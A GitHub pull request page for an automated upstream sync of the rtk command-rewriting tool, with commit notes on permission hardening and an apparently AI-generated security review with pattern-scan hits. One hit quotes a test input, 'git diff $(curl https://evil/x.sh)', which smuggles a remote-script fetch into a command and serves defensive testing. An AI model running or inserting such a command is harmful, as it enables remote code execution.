⬆️ Upstream sync — v0.42.3 - #1
Merged
Merged
Conversation
Per @KuSh's review on rtk-ai#1458, the generic npx passthrough arm built its own Command + tracking::TimedExecution inline, duplicating the logic already covered by core::runner::run_passthrough. The sticking point was `SKIP_ENV_VALIDATION`: the existing helper takes tool + args and builds the Command itself, so there was no seam for a caller-supplied env var. Add a `run_passthrough_cmd` variant that accepts a pre-built Command and refactor the existing `run_passthrough` to delegate to it. The npx arm now builds a Command, sets SKIP_ENV_VALIDATION when requested, and hands it to the shared helper. This also upgrades the npx passthrough from a raw `cmd.status()` to the shared streaming + tracking path that pnpm_cmd already uses, so verbose logging and telemetry stay consistent across tools.
Add `npm_cmd::exec` for npx and an internal `run_filtered` helper that both `run` (npm) and `exec` (npx) share. The helper resolves the command, applies args, honors SKIP_ENV_VALIDATION, and routes through runner::run_filtered with the npm output filter. The npx fallback in main.rs collapses to `npm_cmd::exec(&args, cli.verbose, cli.skip_env)?`. Per @KuSh review on rtk-ai#1458.
Restores src/core/runner.rs to the develop state. After a5e6bf5 moved npx execution into npm_cmd::exec (routing through runner::run_filtered), nothing calls run_passthrough_cmd anymore. Addresses review feedback on PR rtk-ai#1458.
…eady be as small as possible
Claude Code replaces both '/' and '.' with '-' when deriving a projects-directory name from the working-directory path. rtk only replaced '/'. For users whose path contains a dot (e.g. /Users/first.last) the computed slug didn't match Claude's directory name, so rtk discover found zero sessions. Fixes rtk-ai#1457
…ath slug Per claude-code#24067, underscore is replaced with '-'. Per claude-code#40946, non-ASCII characters are each replaced with '-'. Windows backslashes follow the same rule. Refactored encode_project_path to use chars().map() instead of chained replace() calls for clarity. Closes rtk-ai#1457
Addresses three review items from PR rtk-ai#1032: - Bundle verbose+dry_run into a Clone+Copy InitContext struct (mirrors RunOptions in src/core/runner.rs). Collapses 25+ function signatures that already carried both fields and makes future flags one struct field instead of N signature changes. - Emit "[dry-run] Nothing written." exactly once from the top-level run() and uninstall() exit points instead of from every sub-mode. Fixes the double footer when --agent cursor combined with default mode. - Reject --show with --dry-run via clap conflicts_with rather than silently ignoring --dry-run. - Add regression tests for run_default_mode and uninstall dry-run paths using the existing with_claude_dir_override scaffolding.
Adds a "Preview without writing" subsection under Step 1 covering the --dry-run flag, -v interaction for content preview, that telemetry consent is skipped, and the --show conflict. Required by CONTRIBUTING.md section 4 (new features need documentation).
Consolidate stash default handlers to ensure "no local changes" is properly detected across all stash operations, not just the default push case. Signed-off-by: Nicolas Le Cam <niko.lecam@gmail.com>
fix(stream): route to respective fd
fix(stream): add semgrep flag for sh tests
Next Release
hotfix(cicd): add git app token for release please
hotfix(cicd): add git app for release please token
… into hotfix/cicd/use-git-app
hotfix(cicd): use git app
hotfix(cicd): github app token for write actions
…master--components--rtk chore(master): release 0.38.0
Default `rtk git status` runs `git status --porcelain -b` to build its compact view, but porcelain v1 omits the state header git prints when a rebase, merge, cherry-pick, revert, bisect, am, or sparse checkout is in progress. That header is correctness-critical — hiding "You are currently editing a commit while rebasing..." leaves the user thinking the repo is clean when it isn't. `run_status` already captures plain `git status` output as `raw_output` for tracking, so this fix adds `extract_state_header` to pull the state block out of it and prepends the block to the compact output. Returns `None` when nothing is in progress so clean repos are unchanged. Covered states: interactive / regular rebase, merge-with-unmerged-paths, "still merging after conflicts fixed", cherry-pick, revert, bisect, am, sparse checkout. Preserves the directive hints git prints alongside (`git rebase --continue`, `git commit --amend`, `git bisect reset`, etc.), while still filtering generic `(use "git add")` / `(use "git restore")` noise. Design principle: Correctness vs Token Savings — never hide information that changes the user's understanding of repo state.
fix(grep): command token duplication in output withsame value filename or positional arg
…rebased fix(git): fix panic on multibyte chars in commit output
- Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked.
- `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed.
- Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine.
- Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell.
fix(permissions): never auto-allow not evaluable cmds, defer to hosts
…master--components--rtk chore(master): release 0.42.2
- Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked.
- `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed.
- Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine.
- Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell.
…ng-port fix(security): port permission hardening from master + Copilot CLI adaptation
…velop chore: merge master into develop
Next Release
…master--components--rtk chore(master): release 0.42.3
github-actions
Bot
force-pushed
the
upstream-sync
branch
from
June 11, 2026 13:48
b1e6801 to
3c3f8d7
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Upstream Sync — v0.42.3
Upstream release notes (rtk-ai/rtk):
0.42.3 (2026-06-05)
Feats
Fix
defeats command rewrite Hook matcher: leading backslash-newline defeats command rewrite rtk-ai/rtk#1564
Other
rtk initrtk-ai/rtk#2173Commits (first 50):
🤖 AI Security Review
Raw Pattern Scan Hits
[exec: process execution] src/cmds/cloud/aws_cmd.rs:244 — let output = cmd.output().context("Failed to run aws CLI")?;
\nSome text";
\nSome text";


\n
\n
\n";
\nText";
[exec: process execution] src/cmds/cloud/aws_cmd.rs:315 — .output()
[exec: process execution] src/cmds/cloud/aws_cmd.rs:393 — let output = cmd.output().context("Failed to run aws s3 ls")?;
[exec: process execution] src/cmds/cloud/aws_cmd.rs:445 — .output()
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:1753 — {"OutputKey": "ApiUrl", "OutputValue": "https://api.example.com"},
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:1760 — assert!(result.text.contains("ApiUrl=https://api.example.com"));
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2058 — "Code": {"Location": "https://awslambda-us-east-1-tasks.s3.amazonaws.com/snapshots/123/my-func?versionId=abc&X-Amz-Security-Token=very-long-token"},
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2085 — "Code": {"Location": "https://example.com/code"}
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2340 — "endpoint": "https://ABC123.gr7.us-east-1.eks.amazonaws.com",
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2349 — .contains("my-cluster ACTIVE k8s/1.28 https://ABC123.gr7.us-east-1.eks.amazonaws.com"));
[embed: compile-time file embed] src/cmds/dotnet/binlog.rs:1545 — let input = include_str!("../../../tests/fixtures/dotnet/build_failed.txt");
[embed: compile-time file embed] src/cmds/dotnet/binlog.rs:1581 — let input = include_str!("../../../tests/fixtures/dotnet/test_failed.txt");
[network: hardcoded URL] src/cmds/dotnet/dotnet_cmd.rs:1359 —
[network: hardcoded URL] src/cmds/dotnet/dotnet_trx.rs:393 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1035 — let result = ok_confirmation("created", "rtk-ai#42 https://github.com/foo/bar/pull/42");
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1427 — let input = "# Title\n
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1436 — let input = "# Title\n
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1484 — let input = "## Summary\n- Item 1\n- Item 2\n\nLink\n\n| Col1 | Col2 |\n| --- | --- |\n| a | b |";
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1489 — assert!(result.contains("Link"));
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1503 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1504 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1506 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1560 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1561 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1568 — "url": "https://github.com/foo/bar/pull/42",
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1588 — "url": "https://github.com/foo/bar/pull/42",
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1610 — "url": "https://github.com/foo/bar/pull/42",
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1621 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1627 — "url": "https://github.com/foo/bar/issues/99",
[exec: process execution] src/cmds/git/git.rs:1019 — .output()
[exec: process execution] src/cmds/git/git.rs:2477 — let output = Command::new("git")
[exec: process execution] src/cmds/git/git.rs:2479 — .output()
[exec: process execution] src/cmds/git/git.rs:2488 — let _ = Command::new("git").args(["branch", "-d", branch]).output();
[exec: process execution] src/cmds/git/git.rs:2498 — let output = Command::new("git")
[exec: process execution] src/cmds/git/git.rs:2500 — .output()
[exec: process execution] src/cmds/git/git.rs:2508 — let _ = Command::new("git").args(["branch", "-d", branch]).output();
[exec: process execution] src/cmds/git/git.rs:2591 — let output = std::process::Command::new(&bin_path)
[exec: process execution] src/cmds/git/git.rs:2594 — .output()
[network: hardcoded URL] src/cmds/git/git.rs:2754 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2766 — assert!(result.contains("To https://github.com/foo/bar.git"));
[network: hardcoded URL] src/cmds/git/git.rs:2784 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2796 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2798 — error: failed to push some refs to 'https://github.com/foo/bar.git'
[network: hardcoded URL] src/cmds/git/git.rs:2813 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2831 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:950 — if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1049 — let url = "https://gitlab.example.com/group/project/-/merge_requests/42";
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1093 — "# Title\n
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1102 — let input = "## Summary\n- Item 1\n- Item 2\n\nLink";
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1106 — assert!(result.contains("Link"));
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1113 — "!42 https://gitlab.example.com/-/merge_requests/42",
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1141 — let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1157 — let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1168 — let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1178 — let input = include_str!("../../../tests/fixtures/glab_issue_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1194 — let input = include_str!("../../../tests/fixtures/glab_issue_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1346 — let input = include_str!("../../../tests/fixtures/glab_release_list_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1355 — let input = include_str!("../../../tests/fixtures/glab_release_list_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1387 — let input = include_str!("../../../tests/fixtures/glab_ci_trace_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1408 — let input = include_str!("../../../tests/fixtures/glab_ci_trace_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1427 — let input = include_str!("../../../tests/fixtures/glab_release_view_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1447 — let input = include_str!("../../../tests/fixtures/glab_release_view_raw.txt");
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1503 — r#"{"iid":10,"title":"X","state":"closed","author":{"username":"u"},"web_url":"http://e","description":null}"#,
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1536 — "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/42",
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:550 — "Created pull request rtk-ai#42 for feat/add-auth: https://github.com/org/repo/pull/42\n";
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:554 — assert!(output.contains("https://github.com/org/repo/pull/42"));
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:569 — Created pull request rtk-ai#42 for feat/add-auth: https://github.com/org/repo/pull/42
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:579 — Updated pull request rtk-ai#40 for feat/add-db: https://github.com/org/repo/pull/40
[exec: process execution] src/cmds/go/go_cmd.rs:152 — .output()
[exec: process execution] src/cmds/go/go_cmd.rs:179 — .output();
[exec: process execution] src/cmds/go/go_cmd.rs:268 — .output()
[embed: compile-time file embed] src/cmds/go/golangci_cmd.rs:712 — let raw = include_str!("../../../tests/fixtures/golangci_v2_json.txt");
[exec: process execution] src/cmds/jvm/gradlew_cmd.rs:90 — Command::new(".\gradlew.bat")
[exec: process execution] src/cmds/jvm/gradlew_cmd.rs:95 — Command::new("./gradlew")
[network: hardcoded URL] src/cmds/jvm/gradlew_cmd.rs:702 — > Get more help at https://help.gradle.org
[network: hardcoded URL] src/cmds/jvm/gradlew_cmd.rs:741 — https://gradle.com/s/abc123"#;
[network: hardcoded URL] src/cmds/jvm/gradlew_cmd.rs:853 — > Get more help at https://help.gradle.org
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:956 — let input = include_str!("../../../tests/fixtures/gradlew_build_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:970 — let input = include_str!("../../../tests/fixtures/gradlew_build_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:984 — let input = include_str!("../../../tests/fixtures/gradlew_test_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:997 — let input = include_str!("../../../tests/fixtures/gradlew_test_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1013 — let input = include_str!("../../../tests/fixtures/gradlew_connected_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1023 — let input = include_str!("../../../tests/fixtures/gradlew_lint_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1041 — let input = include_str!("../../../tests/fixtures/gradlew_build_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1054 — let input = include_str!("../../../tests/fixtures/gradlew_build_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1068 — let input = include_str!("../../../tests/fixtures/gradlew_test_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1077 — let input = include_str!("../../../tests/fixtures/gradlew_test_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1088 — let input = include_str!("../../../tests/fixtures/gradlew_connected_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1096 — let input = include_str!("../../../tests/fixtures/gradlew_lint_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1108 — let input = include_str!("../../../tests/fixtures/gradlew_lint_raw.txt");
[exec: process execution] src/cmds/rust/runner.rs:107 — let mut c = Command::new("cmd");
[exec: process execution] src/cmds/rust/runner.rs:111 — let mut c = Command::new("sh");
[exec: process execution] src/cmds/system/grep_cmd.rs:401 — if let Ok(output) = cmd.output() {
[exec: process execution] src/cmds/system/grep_cmd.rs:502 — if let Ok(output) = cmd.output() {
[exec: process execution] src/cmds/system/summary.rs:23 — let mut c = Command::new("cmd");
[exec: process execution] src/cmds/system/summary.rs:27 — let mut c = Command::new("sh");
[exec: process execution] src/core/stream.rs:293 — let mut child = ChildGuard(cmd.spawn().context("Failed to spawn process")?);
[exec: process execution] src/core/stream.rs:536 — let output = cmd.output().context("Failed to execute command")?;
[exec: process execution] src/core/stream.rs:571 — let status = Command::new("true").status().unwrap();
[exec: process execution] src/core/stream.rs:577 — let status = Command::new("false").status().unwrap();
[exec: process execution] src/core/stream.rs:584 — let mut child = Command::new("sleep").arg("60").spawn().unwrap();
[exec: process execution] src/core/stream.rs:653 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:664 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:672 — let mut cmd = Command::new("true");
[exec: process execution] src/core/stream.rs:680 — let mut cmd = Command::new("false");
[exec: process execution] src/core/stream.rs:689 — let mut cmd = Command::new("printf");
[exec: process execution] src/core/stream.rs:713 — let mut cmd = Command::new("printf");
[exec: process execution] src/core/stream.rs:729 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:750 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:767 — let mut cmd = Command::new("true");
[exec: process execution] src/core/stream.rs:775 — let mut cmd = Command::new("cat");
[exec: process execution] src/core/stream.rs:782 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:790 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:798 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:808 — let mut cmd = Command::new("false");
[exec: process execution] src/core/stream.rs:817 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:826 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:973 — let mut cmd = Command::new("sh");
[network: client usage] src/core/telemetry.rs:142 — let mut req = ureq::post(url).set("Content-Type", "application/json");
[fs: ~/.claude access] src/core/telemetry.rs:358 — (home.join(".claude/hooks/rtk-rewrite.sh"), "claude"),
[fs: ~/.claude access] src/core/telemetry.rs:359 — (home.join(".claude/hooks/rtk-rewrite.json"), "claude"),
[fs: ~/.claude access] src/core/telemetry.rs:373 — if cwd.join(".claude/hooks/rtk-rewrite.sh").exists() {
[network: hardcoded URL] src/core/telemetry_cmd.rs:58 — println!("Details: https://github.com/rtk-ai/rtk/blob/master/docs/TELEMETRY.md");
[network: hardcoded URL] src/core/telemetry_cmd.rs:76 — eprintln!(" Details: https://github.com/rtk-ai/rtk/blob/master/docs/TELEMETRY.md");
[network: client usage] src/core/telemetry_cmd.rs:173 — let mut req = ureq::post(&url).set("Content-Type", "application/json");
[exec: process execution] src/core/utils.rs:248 — let mut c = Command::new("bundle");
[exec: process execution] src/core/utils.rs:252 — Command::new(tool)
[exec: process execution] src/core/utils.rs:341 — Ok(path) => Command::new(path),
[exec: process execution] src/core/utils.rs:353 — Command::new(name)
[network: hardcoded URL] src/core/utils.rs:500 — ok_confirmation("created", "PR #5 https://github.com/foo/bar/pull/5"),
[network: hardcoded URL] src/core/utils.rs:501 — "ok created PR #5 https://github.com/foo/bar/pull/5"
[exec: process execution] src/core/utils.rs:610 — .output()
[exec: process execution] src/core/utils.rs:732 — let output = Command::new(&resolved).output();
[exec: process execution] src/core/utils.rs:756 — let result = cmd.output();
[network: hardcoded URL] src/discover/registry.rs:1546 — rewrite_command_no_prefixes("RTK_DISABLED=1 curl https://example.com", &[]),
[exec: process execution] src/discover/registry.rs:1597 — let output = std::process::Command::new(&rtk_bin)
[exec: process execution] src/discover/registry.rs:1599 — .output()
[network: hardcoded URL] src/discover/registry.rs:3220 — rewrite_command_no_prefixes("curl https://api.example.com/health", &excluded),
[network: hardcoded URL] src/discover/registry.rs:3237 — assert!(rewrite_command_no_prefixes("curl https://api.example.com", &excluded).is_some());
[network: hardcoded URL] src/discover/registry.rs:3245 — rewrite_command_no_prefixes("git status && curl https://api.example.com", &excluded),
[network: hardcoded URL] src/discover/registry.rs:3246 — Some("rtk git status && curl https://api.example.com".into())
[network: hardcoded URL] src/discover/registry.rs:3272 — rewrite_command_no_prefixes("curl http://example.com", &excluded),
[network: hardcoded URL] src/discover/registry.rs:3280 — assert!(rewrite_command_no_prefixes("curl http://example.com", &excluded).is_some());
[fs: ~/.claude access] src/hooks/constants.rs:3 — pub const CLAUDE_DIR: &str = ".claude";
[fs: ~/.claude access] src/hooks/hook_check.rs:310 — let claude_dir = home.join(".claude");
[network: hardcoded URL] src/hooks/hook_cmd.rs:868 — rewrite_command_no_prefixes("curl https://example.com", &excluded),
[embed: compile-time file embed] src/hooks/init.rs:25 — const OPENCODE_PLUGIN: &str = include_str!("../../hooks/opencode/rtk.ts");
[embed: compile-time file embed] src/hooks/init.rs:28 — const PI_PLUGIN: &str = include_str!("../../hooks/pi/rtk.ts");
[embed: compile-time file embed] src/hooks/init.rs:31 — const RTK_SLIM: &str = include_str!("../../hooks/claude/rtk-awareness.md");
[embed: compile-time file embed] src/hooks/init.rs:32 — const RTK_SLIM_CODEX: &str = include_str!("../../hooks/codex/rtk-awareness.md");
[network: hardcoded URL] src/hooks/init.rs:37 — # Docs: https://github.com/rtk-ai/rtk#custom-filters
[network: hardcoded URL] src/hooks/init.rs:53 — # Docs: https://github.com/rtk-ai/rtk#custom-filters
[fs: ~/.claude access] src/hooks/init.rs:229 — rtk init --global # Add RTK to ~/.claude/CLAUDE.md
[network: hardcoded URL] src/hooks/init.rs:482 — eprintln!(" Details: https://github.com/rtk-ai/rtk/blob/master/docs/TELEMETRY.md");
[fs: ~/.claude access] src/hooks/init.rs:510 — println!("\n MANUAL STEP: Add this to ~/.claude/settings.json:");
[embed: compile-time file embed] src/hooks/init.rs:1546 — const WINDSURF_RULES: &str = include_str!("../../hooks/windsurf/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1549 — const CLINE_RULES: &str = include_str!("../../hooks/cline/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1644 — const KILOCODE_RULES: &str = include_str!("../../hooks/kilocode/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1702 — const ANTIGRAVITY_RULES: &str = include_str!("../../hooks/antigravity/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1759 — const HERMES_PLUGIN_INIT: &str = include_str!("../../hooks/hermes/rtk-rewrite/init.py");
[embed: compile-time file embed] src/hooks/init.rs:1760 — const HERMES_PLUGIN_YAML: &str = include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml");
[fs:
/.claude access] src/hooks/init.rs:3391 — println!("[ok] Global (/.claude/CLAUDE.md): @RTK.md reference");[fs:
/.claude access] src/hooks/init.rs:3394 — "[warn] Global (/.claude/CLAUDE.md): old RTK block (run: rtk init -g to migrate)"[fs:
/.claude access] src/hooks/init.rs:3397 — println!("[--] Global (/.claude/CLAUDE.md): exists but rtk not configured");[fs:
/.claude access] src/hooks/init.rs:3400 — println!("[--] Global (/.claude/CLAUDE.md): not found");[fs: ~/.claude access] src/hooks/init.rs:3506 — println!(" rtk init -g --claude-md # Legacy: full injection into ~/.claude/CLAUDE.md");
[network: hardcoded URL] src/hooks/init.rs:3703 — See: https://github.com/rtk-ai/rtk#gemini-cli",
[embed: compile-time file embed] src/hooks/init.rs:4502 — include_str!("../../hooks/hermes/rtk-rewrite/init.py")
[embed: compile-time file embed] src/hooks/init.rs:4506 — include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml")
[fs: ~/.claude access] src/hooks/init.rs:5203 — "command": "/Users/test/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5209 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5221 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs:
/.claude access] src/hooks/init.rs:5227 — let hook_command = "/.claude/hooks/rtk-rewrite.sh";[fs: ~/.claude access] src/hooks/init.rs:5235 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5270 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5278 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5311 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5334 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5456 — "command": "/Users/test/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5680 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5700 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5749 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/integrity.rs:307 — eprintln!(" The hook at ~/.claude/hooks/rtk-rewrite.sh has been modified.");
[exec: process execution] src/hooks/permissions.rs:290 — let mut cmd = std::process::Command::new("git");
[network: hardcoded URL] src/hooks/permissions.rs:858 — "git diff $(curl https://evil/x.sh)",
[exec: process execution] src/main.rs:1194 — .output()
[exec: process execution] src/main.rs:1201 — .output()
[mem: unsafe block] src/main.rs:1366 — unsafe {
[exec: process execution] src/main.rs:2260 — let status = ProcCommand::new(shell)
[mem: unsafe block] src/main.rs:2317 — unsafe extern "C" fn handle_signal(sig: libc::c_int) {
[mem: unsafe block] src/main.rs:2327 — unsafe {
[exec: process execution] src/main.rs:2355 — .spawn()
[exec: process execution] src/main.rs:3190 — let mut child = std::process::Command::new(&bin_path)
[exec: process execution] src/main.rs:3194 — .spawn()
Summary
v0.42.3 is primarily a quality-and-hardening release: adds truncation recovery hints (tee files) to multi-item CLI filters so agents can retrieve hidden content, ports Copilot CLI hook configuration, adds
docker ps -asupport, hardens the install script against archive path-traversal attacks, and introduces strictunsafe_code = "deny"lint enforcement. Command-rewrite logic (registry.rs) and telemetry (telemetry.rs) are functionally unchanged — no new rewrite patterns, no new consent-check removals, no new data fields sent to telemetry servers.Security Flags
Critical Review Items
..traversal. This is a hardening fix (CWE-22 mitigation), not a vulnerability introduction.maybe_ping()still requires explicit opt-in; telemetry remains disabled by default.…instead of...for truncation markers).Detailed Assessment
[exec: process execution]exec_capture,resolved_command), or logging. No new arbitrary shell execution or argument injection.[network: hardcoded URL].contains("https://...")assertions). No live network calls outside telemetry.rs.[embed: compile-time file embed][fs: ~/.claude access].exists()) and status reporting in telemetry and init logic. No new credential reads or writes to ~/.claude/settings.json beyond existing Copilot config merge.[mem: unsafe block]unsafe_code = "deny").[network: client usage]ureq::post) and telemetry_cmd.rs (admin ping submission). No new endpoints or auth changes.Files with Changes
unsafe_code = "deny". SAFE.--resetand--yesflags for stats clearing with confirmation prompt. SAFE.CAP_*constants, tee hints emitted for pagination recovery. SAFE.collapsible_match, pattern matching withas_deref). SAFE.docker ps -asubcommand, support forkubectl get pods/servicesrouting. SAFE.New Files or Major Changes
CAP_*constants for filters (inventory, errors, warnings, list). This enables future runtime configuration without codebase-wide changes. SAFE REFACTORING.Pattern Scan Assessment
[exec: process execution]Command::new/spawnMockCommand), existing CLI runners, or subprocess inspection (e.g., git branch deletion). No new command construction from user input without validation.[network: hardcoded URL]https://"https://github.com/..."in mock JSON,assert!(result.contains("https://..."))checks). Zero live network calls outside telemetry.rs.[fs: ~/.claude access]home.join.exists()) for telemetry hook-type reporting and init status checks. No new credential material read. Copilot config merge is existing behavior.[embed: compile-time file embed]include_str![network: client usage]ureq::post[mem: unsafe block]unsafe { }Recommendation
MERGE SAFE — v0.42.3 is a high-quality maintenance release with hardening improvements (archive validation, unsafe code lint), enhanced user experience (truncation recovery hints), and zero trust-critical regressions. Telemetry and command-rewrite logic are byte-for-byte unchanged from baseline. All new code paths are defensive (validation, pagination recovery) or administrative (hook detection for reporting). The install.sh hardening against CWE-22 path-traversal is a security win. Recommended to merge and release.
🔒 cargo audit (RustSec)
After merging, rebuild your local binary:
Auto-generated by upstream-sync workflow